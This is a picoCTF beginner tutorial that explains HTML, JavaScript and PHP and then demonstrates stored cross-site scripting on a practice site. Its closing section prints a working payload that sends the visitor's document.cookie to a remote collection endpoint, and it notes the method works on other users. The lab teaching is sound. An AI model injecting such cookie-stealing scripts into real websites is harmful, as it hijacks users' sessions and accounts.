Web exploits are a nice starting point to dive into the world of hacking. Chances are that you are familiar with a web browser, so you will feel you are working on something that you already know!
Before diving into Web Exploits, you need to understand how a website works. Many years ago, the web was used to visit static pages that did not have interactive features; they just showed information. To do a static page, it is enough to write some lines of HTML. What is HTML? First, it is not a programming language. Html means HyperText Markup Language, and we use it to determine the font size, colors, margins, or similar features in a web page. When an html file is accessed in a browser like Firefox, Chrome or whichever browser you like, the browser presents the text according to the html on it. Your browser can access an html file locally. Locally means that the file could be in your laptop or file system. In contrast, it could access the file remotely through the Internet. Let’s see an example of creating a simple html and access it locally:
-
On your computer, create a folder called "picoexample" and then, inside that folder, create a text file and name it "myFirstPage.html". You can do this on Notepad on Windows, Textedit on Mac, or any text editor from Linux. It is important that the extension is ".html". It cannot be ".html.txt" or something that is not exactly ".html". If you don’t see the extension in your operating system, this is a good opportunity to google how to make it appear to be able to modify it. Remember, for obstacles that might appear along the way, google is the answer.
-
Edit the content in a text editor and write: Hello World!
-
Save the file
-
Open the file in any browser. To do that, you can right click on the file, and then select "open with" and choose the browser you want. You should see a page like the following:
-
Now, in the text editor, modify the content of the file and replace the text by: <b>Hello World!</b>
-
Save the file on the text editor. Then, open the file in the browser again, or you can simply click refresh on your browser. Since it already has opened the file, you will see the message in bold, similar to this:
You just created a page with a very simple HTML that made your message appear in bold. Note that <b> is the opening tag, </b> is the closing tag. Analyze the difference between the opening and closing tag. What do you see? The closing tag is usually the same as the opening tag, but you include "/" like we just did. We just used an html tag to tell the browser we want some specific text in bold. Html is just a bunch of tags that allow us to do similar things.
Now let’s make a page with more fields so you can get a sense of tags and the structure of a bigger page. Use the following HTML code to replace the content of the file you are editing:
<html>
<head>
<title>This is a picoCTF html Example</title>
</head>
<body>
<h1>This is a Heading</h1>
<h2>This is a smaller Heading</h2>
<p>This is a paragraph.</p>
The following is an image:<br>
<img src="picologo.png" />
</body>
</html>As you did before, save the file in the text editor and click refresh on the browser. You probably see something like this:
If you read the html code and try to analyze its content, you will realize the following:
-
The title shown in that tab of the browser "This is a picoCTF html Example", appears there because you put that text inside in the <title></title> tags.
-
<h1> Is used to create a big heading
-
<h2> creates a heading smaller than <h1>
-
The <head> tags are used to group introductory content, in this case the title, but if you remove this tag, you will not see much change in our page. Do the experiment of removing it. If you only remove the opening or closing tag it will cause an html error, so make sure to delete the opening tag and closing tag.
-
The <body> tags are used to group the main content of the page. If you remove them you will not see much change in our page because we have just a few things. However, in several cases you might break a page completely if you remove a tag without proper care.
You may have noted the <img> tag is not showing any image as it should. Why? Let’s analyze the element img:
<img src="picologo.png" />First you see there is not opening or closing tag, there is just one tag with the slash at the right-hand side. This is ok for an image. As you can see, it has an attribute called "src", which means source. We are assigning to "src" the value "picologo.png". Our html is going to try to access a file called "picologo.png" in the same folder where "myFirstPage.html" is contained, which is the folder we name at first "picoexample". There is no image called "picologo.png", so the browser has nothing to show. Copy and paste an image to the folder and name it "picologo.png". The extension of the image has to be ".png". If you have an image with a different extension, you can just use the extension you need in the "src" attribute in your html. For example, if the extension of the image you have is ".jpg" you can simply replace
<img src="picologo.png" />with
<img src="picologo.jpg" />If you successfully created the image in the folder, and refresh the browser you will see the following, of course, with your own custom image:
A fundamental part of web sites are the links. The link tag is <a>, the following is an example of a link directed to google:
<a href="http://google.com" > Go to google! </a>Use that element and put it in your code to make a link to the web site you want. Now practice by adding more html tags and images in your page! This is a reference in which you can find more html tags:
To make pages more interactive JavaScript is commonly used. JavaScript is a programming language! We can do algorithms using it. JavaScript is executed in your browser. For example, when you visit a website, the JavaScript code is downloaded along the HTML and it only executes once it is loaded in your browser. When you visit a page, you are downloading an html file and your browser interprets the tags and prints the text and images as we learned before. This image illustrates that process:
If that file happens to contain JavaScript, your browser will execute it. Let’s look at an example. In the same folder "picoexample", create a file called "myFirstJS.html" using a text editor. Then, put the following content in the file:
<html>
<head>
<title>This is a picoCTF JS Example</title>
<script>
alert("Hello picoCTF");
</script>
</head>
<body>
<h1>JavaScript example</h1>>
</body>
</html>Save the file. As soon as you open the page, you will see an alert showing "Hello picoCTF", something like this:
If you analyze the file, you will note that the magic is happening in this element:
<script>
alert("Hello picoCTF");
</script>Whatever you put inside the tags "<script> </script>" will be tried to execute by the browser as JavaScript. Since JavaScript is a programming language, we should be able to do some arithmetic. Replace the string "Hello picoCTF" by an arithmetic operation, like 8*8, like this:
<script>
alert(8*8);
</script>Note that we only use quotes when we want to use a string. In arithmetic operations we don’t use quotes. Save the file and refresh the browser. You should see the following:
Click Ok in the alert message to make it go away. Anything you write in JavaScript or html will be visible for any user that accesses your page in a browser. To see the html and JavaScript code in your browser right click the page and then "View Page Source"
You will see the JavaScript code you just wrote:
This is a very important thing! Never put a secret in your JavaScript code or html. If someone does it, that will be a vulnerability in your page. As a hacker you can try to look for secrets on the html of a page you want to exploit.
Now let’s use some more elaborated code. We are going to make a page that adds two numbers input by the user and shows the result in an alert. We will explain its code in detail later. The code is the following:
<html>
<head>
<title>This is a picoCTF JS Example</title>
<script>
function myFunctionSum(){
var number1 = document.getElementById("number1").value;
var number2 = document.getElementById("number2").value;
var result = Number(number1) + Number(number2);
alert(result);
}
</script>
</head>
<body>
<h1>JavaScript example to add2 numbers</h1>
Input the first number<br>
<input type="text" id="number1" ><br>
Input the second number<br>
<input type="text" id="number2" ><br>
<button onclick="myFunctionSum()"> Show alert! </button>
</body>
</html>Put it on a text file, save it, and open it on a browser as usual. You should see this:
If you put the numbers in each text field, and click "show alert!", you will see the alert with the result. For this example let’s input 4 and 2 in the text fields, you should see:
Now that you know what the page does, let’s analyze the new lines of the code. In this line we have an input tag:
<input type="text" id="number1" ><br>As you can see, it is of type text, and it has an "id" with the value of "number1". The value of the "id", in this case "number1", is something we arbitrarily define to be able to access the content of this text input in JavaScript. This line:
<button onclick="myFunctionSum()"> Show alert! </button>Is responsible for calling the function "myFunctionSum()" when the button is clicked. A function is just a piece of code that we can define, so whenever is called it executes the code inside. In this case, we named the function "myFunctionSum", but is is possible to give it any name. The function has to be defined inside the script tags. Try to read the function and understand at a general level what each line is doing:
function myFunctionSum(){
var number1 = document.getElementById("number1").value;
var number2 = document.getElementById("number2").value;
var result = Number(number1) + Number(number2);
alert(result);
}Perhaps a confusing part is the following line:
var result = Number(number1) + Number(number2);When the variables are defined, both number1 and number2 are textual not numerical. This line turns them into numbers before adding them together. Why don’t you experiment and see what happens when these variables aren’t converted to numbers?
Challenge! Modify the file to multiply the two numbers. When you are done with that, include a new third input number to multiply three different numbers! At this point you should be able to do it on your own. Be careful with the syntax, remember that a single character wrong might break the whole code.
As we said previously, JavaScript is executed only in the browser. What if you want to do calculations and store data in the remote server? For example, when you login into a Website, your user and password has to be verified on the server. The password is stored in the server and should not travel outside of it for the sake of security. If you would verify a password on JavaScript, you would be able to see it on your browser in the same way you can see any JavaScript, and that would be very insecure. There are several programming languages that can be executed on the server, for instance:
-
Python
-
Java
-
PHP
-
C
-
C Sharp
-
And many more…
For our examples, we will begin using PHP, not because we think is a great language, but because a huge number of websites on the Internet use it and it is very easy to learn and deploy. In any case, as a hacker, you would generally have to learn all the languages you can because different websites are made on different languages, as well as CTF challenges that try to simulate real life! The more a language is used, the more likely you will have to attack a website made with it. However, the vulnerabilities we will be explaining can happen in any programming language, because they are not a fault of the language, but a fault of the programmer that did the website.
Suppose you have a text file named hello.php, containing:
<b>Hello World!</b>
<script> alert('Hello World from JavaScript!'); </script>
<?php
echo "Hello World from PHP!";
?>Note that in a file with the extension .php you can mix html, JavaScript, and PHP code! If the server supports PHP, everything inside <?php ?> will be understood as PHP code and run by the server, not by the browser.
Look at the following image carefully to understand what happens:
If you open a file with that content on your laptop, the PHP code will not be executed, because your laptop is not a PHP server (if you have not made it one). So, to execute PHP you need to make your laptop a server. But for the time being, we can use the following:
Access that link, and you will see at the right a file with html and PHP code, that when is run, prints "My first PHP script!". Let’s modify the code to additionally print the date, so below the line
echo "My first PHP script!";Add the line
echo date("H:i:s");According to what you have learned so far, that time is from the clock on your computer? Or the time of the clock in the server?
…PHP is server side code, so that time is from the clock on the server!
Now let’s make an experiment, and add another line with this php code:
echo "<script> alert('Hello World from JavaScript!'); </script>";That string echoed in PHP has JavaScript code. Is the JavaScript alert shown? What happened? As expected, anything printed on php, will become an integral part of the html downloaded file, so the JavaScript will be executed. This opens the door for the famous attack of Cross Site Scripting (XSS).
After you Login into a Website, the website needs a way to know that any request coming from your browser is coming from a user that previously logged in, without the need to send the user-password again. To do that, the website can send to your browser a secret random value after login. That value is generally stored in a cookie or in JavaScript local storage. For this example, let’s pretend it is stored in a cookie, which is simply a variable in your browser that can retain data. If a Website sets a specific cookie in your browser, your browser automatically re-sends that cookie in each request to the website. If a website only uses cookies to retain a session, and if a hacker can steal the authentication cookie from you, they could pretend to be you! Note that only using cookies for authentication will open the possibility of Cross Site Request Forgery (CSRF), but this will be explained later, for now let’s focus on XSS.
Suppose you are a hacker in a social network. When you create your account, instead of using your name, you input JavaScript code. When a friend of yours visit your profile, the WebSite will try to print your name, but your name is actually JavaScript code, so the browser might execute that JavaScript code. In that way, you could execute your own JavaScript on your friend’s browser!
When you get to execute JavaScript in someone else’s browser, you can read their authentication data, which can be a secret value placed on a cookie or JavaScript local storage after a user logs in. At that point, your friend’s account would probably be compromised!
An important skill to have, is to use the browser debugger. For this explanation we will use Firefox. You can download and install Firefox here:
Note: If you really don’t want to use Firefox, every browser has a debugger that you can google how to use it. It will not be that different.
Using Firefox, input your name and some text in the description in the following link:
Open another tab and visit the following link. You should see your name and description:
Now, in the Firefox Menu, click "Web Developer" and then click "Debugger". You should see a pane like the following:
In that pane, click "storage". At the left click "cookies" and click the domain you are currently on. You will see a cookie that has your name in the value!
You can only see your cookie. Other users would see their cookie with their name. For this experiment, you will steal your own cookie. But with the same method, you could steal the cookie of someone else.
For now, access this link again:
Create a new user that has your name, but instead of the description has the following code:
<script> alert('I just injected Javascript!'); </script>If you navigate this link again, you will see your JavaScript code triggered:
Like this:
You just verified that you can inject JavaScript in the website. Now we are going to inject JavaScript that will steal the cookie. Create another user in the same link for creating users:
But now, put this JavaScript code in the description:
<script src="https://code.jquery.com/jquery-3.4.1.min.js"> </script>
<script>
$.get(
"https://primer.picoctf.org/vuln/web/insert.php",
{cookie : document.cookie, hackername : 'YourName'},
function(data) {
alert("I just stole the cookie!");
}
);
</script>Let’s understand the code. The first line, imports a library called jquery:
<script src="https://code.jquery.com/jquery-3.4.1.min.js"> </script>A library is a set of functions that allow us to do some actions in an easier manner. In this case, it allow us to do requests and send data from JavaScript to a server. We are just sending the cookie to a remote service that is made to receive cookies from this exercise. That service receives two variables: "cookie" and "hackername". The value of the variable cookie will be "document.cookie". Here, instead of "=", we use ":" to assign a value to a variable. Using document.cookie you access the cookies from JavaScript, so that should contain the cookie you want to steal. The variable hackername simply has a name assigned. You could replace the string "YourName" with your actual name. Remember that a string must be inside quotes in JavaScript.
The function:
function(data){
alert("I just stole the cookie!");
}Is simply a function that will be executed after the request is sent to the service, and will alert a message.
Now visit this site again:
When a user visits that site is when the JavaScript is executed and the cookie is stolen. You should see the message:
If you injected scripts previously, all those scripts are stored in the web site and will be executed in the order you injected them when the page that prints them is visited.
Now you should be able to see the cookie you stole here:
At this point you should have some understanding on how a website works. You are ready to begin to do more web challenges on the picoCTF!